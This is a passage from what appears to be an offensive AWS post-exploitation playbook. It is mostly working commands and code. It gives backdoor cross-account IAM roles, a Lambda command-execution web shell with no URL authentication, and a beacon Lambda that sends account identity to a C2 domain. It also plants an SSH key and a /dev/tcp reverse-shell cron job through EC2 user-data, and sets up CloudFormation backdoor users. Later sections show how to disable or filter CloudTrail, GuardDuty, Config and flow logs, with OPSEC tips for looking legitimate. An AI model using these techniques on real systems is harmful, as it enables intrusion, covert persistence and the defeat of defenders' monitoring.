cat > trust-policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": "arn:aws:iam::<your-attacker-account-id>:root"
    },
    "Action": "sts:AssumeRole",
    "Condition": {}
  }]
}
EOF

# Create role
aws iam create-role \
  --role-name CloudInfrastructureRole \
  --assume-role-policy-document file://trust-policy.json \
  --description "Infrastructure automation role" \
  --profile <profile-name>

# Attach permissions
aws iam attach-role-policy \
  --role-name CloudInfrastructureRole \
  --policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
  --profile <profile-name>

# From your attacker account, assume the role
aws sts assume-role \
  --role-arn arn:aws:iam::<victim-account-id>:role/CloudInfrastructureRole \
  --role-session-name maintenance-session

# OPSEC: Cross-account roles are common in enterprises; hard to detect if named appropriately

3. Lambda Backdoor (Serverless Persistence):
#

# Create Lambda function that provides shell access via API Gateway
cat > lambda_backdoor.py << 'EOF'
import json
import subprocess
import boto3
import base64

def lambda_handler(event, context):
    # Extract command from request
    body = json.loads(event.get('body', '{}'))
    cmd = body.get('cmd', 'whoami')
    auth_token = body.get('token', '')
    
    # Simple authentication (use strong token in production)
    if auth_token != "YOUR_SECRET_TOKEN":
        return {
            'statusCode': 403,
            'body': json.dumps({'error': 'Unauthorized'})
        }
    
    # Execute command
    try:
        result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
        output = result.decode('utf-8')
    except Exception as e:
        output = str(e)
    
    return {
        'statusCode': 200,
        'body': json.dumps({'output': output})
    }
EOF

zip lambda_backdoor.zip lambda_backdoor.py

# Create execution role for Lambda
cat > lambda-trust-policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Service": "lambda.amazonaws.com"},
    "Action": "sts:AssumeRole"
  }]
}
EOF

aws iam create-role \
  --role-name LambdaSystemMonitoring \
  --assume-role-policy-document file://lambda-trust-policy.json \
  --profile <profile-name>

# Attach policies (add more for lateral movement)
aws iam attach-role-policy \
  --role-name LambdaSystemMonitoring \
  --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole \
  --profile <profile-name>

aws iam attach-role-policy \
  --role-name LambdaSystemMonitoring \
  --policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
  --profile <profile-name>

# Deploy function
aws lambda create-function \
  --function-name system-health-monitor \
  --runtime python3.11 \
  --role arn:aws:iam::<account-id>:role/LambdaSystemMonitoring \
  --handler lambda_backdoor.lambda_handler \
  --zip-file fileb://lambda_backdoor.zip \
  --timeout 60 \
  --profile <profile-name>

# Create function URL (Lambda URLs - easier than API Gateway)
aws lambda create-function-url-config \
  --function-name system-health-monitor \
  --auth-type NONE \
  --profile <profile-name>

# Get the function URL
aws lambda get-function-url-config \
  --function-name system-health-monitor \
  --profile <profile-name>

# Test backdoor
curl -X POST https://<function-url-id>.lambda-url.<region>.on.aws/ \
  -H "Content-Type: application/json" \
  -d '{"token":"YOUR_SECRET_TOKEN","cmd":"aws sts get-caller-identity"}'

# OPSEC: Lambda executes in AWS infrastructure; hard to trace back to attacker
# Use generic function names related to monitoring/logging

4. EventBridge Scheduled Backdoor:
#

# Create Lambda that calls home periodically
cat > beacon_lambda.py << 'EOF'
import json
import urllib.request
import boto3

def lambda_handler(event, context):
    # Send beacon to C2 server
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    
    data = json.dumps({
        'account': identity['Account'],
        'role': identity['Arn'],
        'timestamp': event['time']
    }).encode('utf-8')
    
    try:
        req = urllib.request.Request(
            'https://your-c2-domain.com/beacon',
            data=data,
            headers={'Content-Type': 'application/json'}
        )
        urllib.request.urlopen(req, timeout=10)
    except:
        pass
    
    return {'statusCode': 200}
EOF

zip beacon_lambda.zip beacon_lambda.py

# Deploy Lambda (reuse role from previous example)
aws lambda create-function \
  --function-name cloudwatch-metric-aggregator \
  --runtime python3.11 \
  --role arn:aws:iam::<account-id>:role/LambdaSystemMonitoring \
  --handler beacon_lambda.lambda_handler \
  --zip-file fileb://beacon_lambda.zip \
  --profile <profile-name>

# Create EventBridge rule (runs every 6 hours)
aws events put-rule \
  --name scheduled-metric-collection \
  --schedule-expression "rate(6 hours)" \
  --state ENABLED \
  --description "Periodic metric collection for monitoring" \
  --profile <profile-name>

# Add Lambda as target
aws events put-targets \
  --rule scheduled-metric-collection \
  --targets "Id"="1","Arn"="arn:aws:lambda:<region>:<account-id>:function:cloudwatch-metric-aggregator" \
  --profile <profile-name>

# Grant EventBridge permission to invoke Lambda
aws lambda add-permission \
  --function-name cloudwatch-metric-aggregator \
  --statement-id AllowEventBridgeInvoke \
  --action 'lambda:InvokeFunction' \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:<region>:<account-id>:rule/scheduled-metric-collection \
  --profile <profile-name>

# OPSEC: Scheduled executions blend with legitimate automation

5. SSM Parameter Store Credential Storage:
#

# Store backdoor credentials in Parameter Store (encrypted)
aws ssm put-parameter \
  --name "/system/backup/credentials" \
  --value '{"AccessKeyId":"AKIA...","SecretAccessKey":"..."}' \
  --type SecureString \
  --description "Backup system credentials" \
  --profile <profile-name>

# Retrieve later
aws ssm get-parameter \
  --name "/system/backup/credentials" \
  --with-decryption \
  --profile <profile-name>

# OPSEC: Encrypted parameters are common; name them appropriately
# Good names: "/app/database/master", "/system/api/keys", "/backup/credentials"

6. Secrets Manager Backdoor:
#

# Store complete AWS credentials in Secrets Manager
aws secretsmanager create-secret \
  --name prod/terraform/aws-credentials \
  --description "Terraform deployment credentials" \
  --secret-string '{"AccessKeyId":"AKIA...","SecretAccessKey":"...","SessionToken":"..."}' \
  --profile <profile-name>

# Set rotation (optional, makes it look legitimate)
aws secretsmanager update-secret-version-stage \
  --secret-id prod/terraform/aws-credentials \
  --version-stage AWSCURRENT \
  --profile <profile-name>

# Retrieve later
aws secretsmanager get-secret-value \
  --secret-id prod/terraform/aws-credentials \
  --profile <profile-name>

# OPSEC: Secrets Manager access is logged but secrets are expected to be sensitive

7. EC2 User Data Persistence:
#

# Modify EC2 instance user-data to include backdoor
cat > backdoor-userdata.sh << 'EOF'
#!/bin/bash
# System initialization script

# Add backdoor SSH key
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /home/ec2-user/.ssh/authorized_keys

# Create reverse shell cron job
(crontab -l 2>/dev/null; echo "*/30 * * * * /usr/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1") | crontab -

# Install persistence via systemd
cat > /etc/systemd/system/system-monitor.service << 'SERVICE'
[Unit]
Description=System Monitoring Service
After=network.target

[Service]
ExecStart=/usr/bin/python3 /opt/monitor.py
Restart=always

[Install]
WantedBy=multi-user.target
SERVICE

systemctl enable system-monitor.service
systemctl start system-monitor.service
EOF

# Apply to running instance (requires reboot or specific conditions)
aws ec2 modify-instance-attribute \
  --instance-id <instance-id> \
  --user-data file://backdoor-userdata.sh \
  --profile <profile-name>

# OPSEC: User data changes require instance restart; coordinate timing

8. CloudFormation Stack Persistence:
#

# Deploy persistent infrastructure via CloudFormation
cat > persistence-stack.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Description: System backup and monitoring infrastructure

Resources:
  BackupUser:
    Type: AWS::IAM::User
    Properties:
      UserName: aws-backup-automation
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/PowerUserAccess
      Tags:
        - Key: Purpose
          Value: Automated Backups
        - Key: ManagedBy
          Value: CloudFormation

  BackupAccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref BackupUser

  BackupCredentialSecret:
    Type: AWS::SecretsManager::Secret
    Properties:
      Name: backup/aws-credentials
      Description: Backup system AWS credentials
      SecretString: !Sub |
        {
          "AccessKeyId": "${BackupAccessKey}",
          "SecretAccessKey": "${BackupAccessKey.SecretAccessKey}"
        }

Outputs:
  AccessKeyId:
    Description: Backup user access key
    Value: !Ref BackupAccessKey
  SecretName:
    Description: Secret containing credentials
    Value: !Ref BackupCredentialSecret
EOF

# Deploy stack
aws cloudformation create-stack \
  --stack-name backup-infrastructure \
  --template-body file://persistence-stack.yaml \
  --capabilities CAPABILITY_NAMED_IAM \
  --profile <profile-name>

# Get outputs after creation
aws cloudformation describe-stacks \
  --stack-name backup-infrastructure \
  --query 'Stacks[0].Outputs' \
  --profile <profile-name>

# OPSEC: CloudFormation stacks appear as infrastructure-as-code; legitimate-looking
# Stack deletion protection can be enabled to prevent easy removal

AWS Detection Evasion & Log Manipulation
#

Detection Evasion Techniques
#

1. CloudTrail Manipulation:
#

# Identify active CloudTrail trails
aws cloudtrail describe-trails --profile <profile-name>

# Get trail status
aws cloudtrail get-trail-status --name <trail-name> --profile <profile-name>

# DESTRUCTIVE: Stop logging (highly detectable)
aws cloudtrail stop-logging --name <trail-name> --profile <profile-name>

# STEALTHIER: Modify event selectors to exclude specific events
aws cloudtrail put-event-selectors \
  --trail-name <trail-name> \
  --event-selectors '[{
    "ReadWriteType": "WriteOnly",
    "IncludeManagementEvents": true,
    "DataResources": [],
    "ExcludeManagementEventSources": ["kms.amazonaws.com","rdsdata.amazonaws.com"]
  }]' \
  --profile <profile-name>

# Check S3 bucket where logs are stored
aws cloudtrail describe-trails \
  --query 'trailList[*].[Name,S3BucketName]' \
  --output table \
  --profile <profile-name>

# ADVANCED: Modify S3 bucket lifecycle policy to delete logs quickly
aws s3api put-bucket-lifecycle-configuration \
  --bucket <cloudtrail-bucket> \
  --lifecycle-configuration '{
    "Rules": [{
      "Id": "CleanupOldLogs",
      "Status": "Enabled",
      "Prefix": "",
      "Expiration": {"Days": 1}
    }]
  }' \
  --profile <profile-name>

# OPSEC: Stopping CloudTrail triggers GuardDuty alerts
# Better approach: Work within logging gaps or use event exclusions
# Monitor for: cloudtrail:StopLogging, cloudtrail:DeleteTrail, cloudtrail:PutEventSelectors

2. CloudWatch Logs Manipulation:
#

# List log groups (find security-relevant logs)
aws logs describe-log-groups --profile <profile-name>

# Delete specific log streams (selective erasure)
aws logs delete-log-stream \
  --log-group-name /aws/lambda/security-function \
  --log-stream-name 2024/10/13/[$LATEST]abc123 \
  --profile <profile-name>

# Modify retention policy (faster log deletion)
aws logs put-retention-policy \
  --log-group-name <log-group> \
  --retention-in-days 1 \
  --profile <profile-name>

# Delete entire log group (nuclear option)
aws logs delete-log-group \
  --log-group-name <log-group> \
  --profile <profile-name>

# OPSEC: Log deletion is logged in CloudTrail; selective deletion is less obvious
# Actions logged: logs:DeleteLogGroup, logs:DeleteLogStream, logs:PutRetentionPolicy

3. GuardDuty Evasion:
#

# Check if GuardDuty is enabled
aws guardduty list-detectors --profile <profile-name>

# Get detector details
aws guardduty get-detector --detector-id <detector-id> --profile <profile-name>

# List findings (see what's being detected)
aws guardduty list-findings --detector-id <detector-id> --profile <profile-name>

# Get finding details
aws guardduty get-findings \
  --detector-id <detector-id> \
  --finding-ids <finding-id> \
  --profile <profile-name>

# EVASION: Archive findings (mark as resolved)
aws guardduty archive-findings \
  --detector-id <detector-id> \
  --finding-ids <finding-id> \
  --profile <profile-name>

# EVASION: Create suppression rules (auto-archive specific finding types)
aws guardduty create-filter \
  --detector-id <detector-id> \
  --name LegitimateActivity \
  --action ARCHIVE \
  --finding-criteria '{
    "Criterion": {
      "type": {"Eq": ["Recon:EC2/PortProbeUnprotectedPort"]}
    }
  }' \
  --profile <profile-name>

# DESTRUCTIVE: Disable GuardDuty (extremely noisy)
aws guardduty delete-detector --detector-id <detector-id> --profile <profile-name>

# OPSEC: GuardDuty generates findings for:
# - Unusual API calls, credential exposure, reconnaissance activity
# - Better to work slowly and avoid detection triggers
# - Use suppression rules to hide specific activity patterns

4. VPC Flow Logs Evasion:
#

# Identify VPC Flow Logs
aws ec2 describe-flow-logs --profile <profile-name>

# Delete flow logs (disables network monitoring)
aws ec2 delete-flow-logs --flow-log-ids <flow-log-id> --profile <profile-name>

# OPSEC: Network traffic through VPC endpoints avoids internet egress logs
# Use VPC endpoints for S3, DynamoDB, etc. to reduce flow log visibility

5. Config Rules Manipulation:
#

# List AWS Config rules
aws configservice describe-config-rules --profile <profile-name>

# Disable specific rule
aws configservice delete-config-rule \
  --config-rule-name <rule-name> \
  --profile <profile-name>

# Stop Config recorder (disables compliance monitoring)
aws configservice stop-configuration-recorder \
  --configuration-recorder-name <recorder-name> \
  --profile <profile-name>

# OPSEC: Config tracks resource configuration changes; stopping it is suspicious

6. EventBridge (CloudWatch Events) Rule Manipulation:
#

# List event rules (find security automation)
aws events list-rules --profile <profile-name>

# Disable specific rule (disrupt automated response)
aws events disable-rule --name <rule-name> --profile <profile-name>

# Delete rule
aws events delete-rule --name <rule-name> --profile <profile-name>

# OPSEC: Organizations use EventBridge for automated security response
# Disabling rules can prevent incident response automation

7. Rate Limiting and Throttling Evasion:
#

# AWS enforces API rate limits; evade by:

# Method 1: Distribute across regions
for region in us-east-1 us-west-1 eu-west-1 ap-southeast-1; do
  aws ec2 describe-instances --region $region --profile <profile-name> &
done
wait

# Method 2: Use multiple profiles/accounts
for profile in profile1 profile2 profile3; do
  aws iam list-users --profile $profile --max-items 10 &
done
wait

# Method 3: Add delays between requests
for i in {1..100}; do
  aws s3 ls --profile <profile-name>
  sleep $((RANDOM % 5 + 2))  # Random delay 2-7 seconds
done

# Method 4: Use pagination to stay under burst limits
aws ec2 describe-instances \
  --max-results 10 \
  --profile <profile-name>

# OPSEC: Slow and steady wins the race; rapid API calls trigger anomaly detection

8. CloudShell for Anonymous Operations:
#

# Launch CloudShell from AWS Console (browser-based)
# Or use AWS CLI to execute commands through CloudShell

# CloudShell benefits:
# - Ephemeral environment (no persistent logs on your machine)
# - Uses temporary session credentials
# - Source IP is AWS infrastructure
# - Automatically authenticated with your current session

# Execute script via CloudShell
aws cloudshell put-file --source-path ./script.sh --destination-path /tmp/script.sh
aws cloudshell execute-command --command "bash /tmp/script.sh"

# OPSEC: CloudShell sessions are logged but appear as AWS-internal activity
# Good for: Avoiding source IP attribution, using AWS infrastructure as proxy

9. STS Regional Endpoints (Geo-Distribution):
#

# Use regional STS endpoints to distribute traffic
export AWS_STS_REGIONAL_ENDPOINTS=regional

# Assume role from different regions
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name session-us-west \
  --region us-west-2 \
  --profile <profile-name>

aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name session-eu-west \
  --region eu-west-1 \
  --profile <profile-name>

# OPSEC: Traffic originates from multiple regions, harder to correlate

10. API Gateway Proxying:
#

# Create API Gateway to proxy AWS API calls (advanced evasion)

# Step 1: Create REST API
aws apigateway create-rest-api \
  --name infrastructure-api \
  --description "Infrastructure management API" \
  --profile <profile-name>

# Step 2: Create Lambda proxy function
cat > api_proxy.py << 'EOF'
import json
import boto3
from botocore.exceptions import ClientError

def lambda_handler(event, context):
    body = json.loads(event['body'])
    service = body.get('service')
    action = body.get('action')
    params = body.get('params', {})
    
    try:
        client = boto3.client(service)
        method = getattr(client, action)
        result = method(**params)
        return {
            'statusCode': 200,
            'body': json.dumps(result, default=str)
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': str(e)})
        }
EOF

# Deploy Lambda and configure API Gateway integration
# (Full implementation requires multiple steps)

# Usage: Route all AWS API calls through API Gateway
curl -X POST https://<api-id>.execute-api.<region>.amazonaws.com/prod/proxy \
  -H "Content-Type: application/json" \
  -d '{
    "service": "iam",
    "action": "list_users",
    "params": {}
  }'

# OPSEC: API Gateway logs can be disabled; provides obfuscation layer

11. S3 Access Logging Evasion:
#

# Check if S3 bucket has server access logging enabled
aws s3api get-bucket-logging --bucket <bucket-name> --profile <profile-name>

# Disable logging (if you have permission)
aws s3api put-bucket-logging \
  --bucket <bucket-name> \
  --bucket-logging-status '{}' \
  --profile <profile-name>

# OPSEC: Use --no-sign-request for anonymous access when possible
# S3 server access logs are separate from CloudTrail

12. Session Name Obfuscation:
#

# When assuming roles, use generic session names

# BAD: Obvious attribution
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name RedTeamAssessment \
  --profile <profile-name>

# GOOD: Blends with legitimate traffic
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name AWSCLISession \
  --profile <profile-name>

# BETTER: Mimics automation tools
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name terraform-20241013T153045 \
  --profile <profile-name>

# OPSEC: Session names appear in CloudTrail; make them look legitimate

13. Tag-Based Attribution Confusion:
#

# Add tags to resources you create to blend in
aws iam tag-user \
  --user-name backdoor-user \
  --tags Key=Owner,Value=DevOps Key=CostCenter,Value=IT-Operations Key=Terraform,Value=true \
  --profile <profile-name>

# Tag EC2 instances to look like legitimate infrastructure
aws ec2 create-tags \
  --resources <instance-id> \
  --tags Key=Name,Value=web-server-prod-03 Key=Environment,Value=production Key=ManagedBy,Value=Ansible \
  --profile <profile-name>

# OPSEC: Well-tagged resources appear as part of normal infrastructure

14. Time-Based Evasion:
#

# Conduct operations during high-activity periods (business hours)
# Avoid activity during off-hours (triggers anomaly detection)

# Example: Schedule operations during 9 AM - 5 PM UTC
current_hour=$(date +%H)
if [ $current_hour -ge 9 ] && [ $current_hour -le 17 ]; then
  # Execute reconnaissance
  aws ec2 describe-instances --profile <profile-name>
else
  # Sleep until business hours
  echo "Waiting for business hours..."
  sleep 3600
fi

# OPSEC: Behavioral analytics look for off-hours activity

15. Credential Rotation Awareness:
#

# Monitor credential age to avoid using expired credentials
aws iam get-access-key-last-used \
  --access-key-id <access-key-id> \
  --profile <profile-name>

# Check when credentials were created
aws iam list-access-keys \
  --user-name <user-name> \
  --profile <profile-name>

# For assumed roles, check expiration
aws sts get-caller-identity --profile <profile-name>
# Then check session token expiration from original assume-role output

# OPSEC: Expired credentials trigger authentication failures (logged events)

16. Multi-Account Pivoting:
#

# Once in one account, enumerate cross-account access

# Method 1: Check for cross-account role trusts
aws iam list-roles --profile <profile-name> \
  | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | .RoleName'

# Method 2: Attempt to assume roles in other accounts
for account_id in 123456789012 234567890123 345678901234; do
  echo "Trying account: $account_id"
  aws sts assume-role \
    --role-arn arn:aws:iam::$account_id:role/OrganizationAccountAccessRole \
    --role-session-name CrossAccountAccess \
    --profile <profile-name> 2>/dev/null && echo "Success!"
done

# Method 3: Check AWS Organizations structure
aws organizations describe-organization --profile <profile-name>
aws organizations list-accounts --profile <profile-name>

# OPSEC: Cross-account access is common in enterprises; hard to distinguish from legitimate use